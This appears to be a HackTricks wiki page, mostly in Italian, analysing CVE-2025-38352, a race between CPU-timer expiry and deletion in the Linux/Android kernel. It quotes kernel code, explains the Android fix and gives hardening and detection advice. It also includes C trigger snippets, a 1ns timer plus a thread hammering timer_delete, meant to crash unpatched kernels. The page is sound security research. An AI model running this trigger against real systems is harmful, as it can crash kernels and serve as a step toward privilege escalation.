POSIX CPU Timers TOCTOU race (CVE-2025-38352)

Reading time: 8 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Questa pagina documenta una TOCTOU race condition in Linux/Android POSIX CPU timers che può corrompere lo stato del timer e causare il crash del kernel, e in alcune circostanze può essere indirizzata verso privilege escalation.

  • Componente interessato: kernel/time/posix-cpu-timers.c
  • Primitiva: expiry vs deletion race under task exit
  • Dipende dalla configurazione: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)

Breve riepilogo internals (relevant for exploitation)

  • Tre clock CPU gestiscono la contabilizzazione per i timer tramite cpu_clock_sample():
  • CPUCLOCK_PROF: utime + stime
  • CPUCLOCK_VIRT: utime only
  • CPUCLOCK_SCHED: task_sched_runtime()
  • La creazione del timer wiringa un timer a un task/pid e inizializza i nodi della timerqueue:
c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
  • Arming inserisce in una per-base timerqueue e può aggiornare la next-expiry cache:
c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
  • Il percorso rapido evita elaborazioni costose a meno che le scadenze memorizzate nella cache non indichino una possibile attivazione:
c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
  • La scadenza raccoglie i timer scaduti, li marca come in fase di attivazione, li rimuove dalla coda; la consegna effettiva è differita:
c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1;                           // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}

Due modalità di elaborazione delle scadenze

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: la scadenza viene rinviata tramite task_work sul task di destinazione
  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: la scadenza viene gestita direttamente nel contesto IRQ
c
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk);                  // IRQ-context path
lockdep_posixtimer_exit();
}
#endif

Nel percorso IRQ-context, la firing list viene elaborata al di fuori di sighand

c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags);              // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing;         // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}

Causa principale: TOCTOU tra scadenza in IRQ e cancellazione concorrente durante l'uscita del task Precondizioni

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
  • The target task is exiting but not fully reaped
  • Another thread concurrently calls posix_cpu_timer_del() for the same timer

Sequenza

  1. update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
  2. collect_timerqueue() imposta ctmr->firing = 1 e sposta il timer nella lista temporanea di firing.
  3. handle_posix_cpu_timers() rilascia sighand tramite unlock_task_sighand() per consegnare i timer fuori dal lock.
  4. Immediatamente dopo l'unlock, il task in uscita può essere reaped; un thread fratello esegue posix_cpu_timer_del().
  5. In questa finestra, posix_cpu_timer_del() può non riuscire ad acquisire lo stato tramite cpu_timer_task_rcu()/lock_task_sighand() e quindi saltare la normale protezione in-flight che controlla timer->it.cpu.firing. La cancellazione procede come se non fosse in firing, corrompendo lo stato mentre la scadenza è in corso, portando a crash/UB.

Perché la modalità TASK_WORK è sicura per progettazione

  • Con CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, la scadenza è differita a task_work; exit_task_work viene eseguito prima di exit_notify, quindi non si verifica la sovrapposizione in IRQ con il reaping.
  • Anche in quel caso, se il task sta già uscendo, task_work_add() fallisce; il gating su exit_state rende entrambe le modalità coerenti.

Fix (Android common kernel) e motivazione

  • Aggiungere un early return se il task corrente è in uscita, condizionando tutta l'elaborazione:
c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
  • Questo impedisce l'entrata in handle_posix_cpu_timers() per i task in uscita, eliminando la finestra in cui posix_cpu_timer_del() potrebbe mancare it.cpu.firing e race con l'elaborazione della scadenza.

Impact

  • La corruzione della memoria del kernel delle strutture timer durante scadenza/cancellazione concorrente può causare crash immediati (DoS) ed è un primitivo potente per l'escalation dei privilegi grazie alle opportunità di manipolazione arbitraria dello stato del kernel.

Triggering the bug (safe, reproducible conditions) Build/config

  • Assicurati che CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n e usa un kernel senza la correzione del gating exit_state.

Runtime strategy

  • Seleziona un thread che sta per terminare e associa a esso un CPU timer (per-thread o process-wide clock):
  • Per per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
  • Per process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
  • Arma con una scadenza iniziale molto breve e un intervallo piccolo per massimizzare le entrate nel percorso IRQ:
c
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1;           // fire ASAP
its.it_interval.tv_nsec = 1;        // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
  • Da un thread fratello, eliminare contemporaneamente lo stesso timer mentre il thread di destinazione termina:
c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t);     // hammer delete in a loop
}
  • Fattori che amplificano la race: alta frequenza dei tick dello scheduler, carico CPU, cicli ripetuti di exit/re-create dei thread. Il crash tipicamente si manifesta quando posix_cpu_timer_del() non rileva il firing a causa del fallimento del lookup/lock del task subito dopo unlock_task_sighand().

Rilevamento e hardening

  • Mitigazione: applicare la exit_state guard; preferire l'abilitazione di CONFIG_POSIX_CPU_TIMERS_TASK_WORK quando possibile.
  • Osservabilità: aggiungere tracepoints/WARN_ONCE attorno a unlock_task_sighand()/posix_cpu_timer_del(); generare alert quando it.cpu.firing==1 è osservato insieme a fallimenti di cpu_timer_task_rcu()/lock_task_sighand(); monitorare eventuali incongruenze nella timerqueue attorno all'exit del task.

Audit hotspots (per i revisori)

  • update_process_times() → run_posix_cpu_timers() (IRQ)
  • __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
  • collect_timerqueue(): sets ctmr->firing and moves nodes
  • handle_posix_cpu_timers(): drops sighand before firing loop
  • posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap

Note per la ricerca su exploitation

  • Il comportamento divulgato è un primitivo affidabile per far crashare il kernel; trasformarlo in privilege escalation di solito richiede un overlap controllabile aggiuntivo (lifetime di oggetti o write-what-where) oltre lo scopo di questo riassunto. Trattare qualsiasi PoC come potenzialmente destabilizzante ed eseguirlo solo in emulatori/VM.

References

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks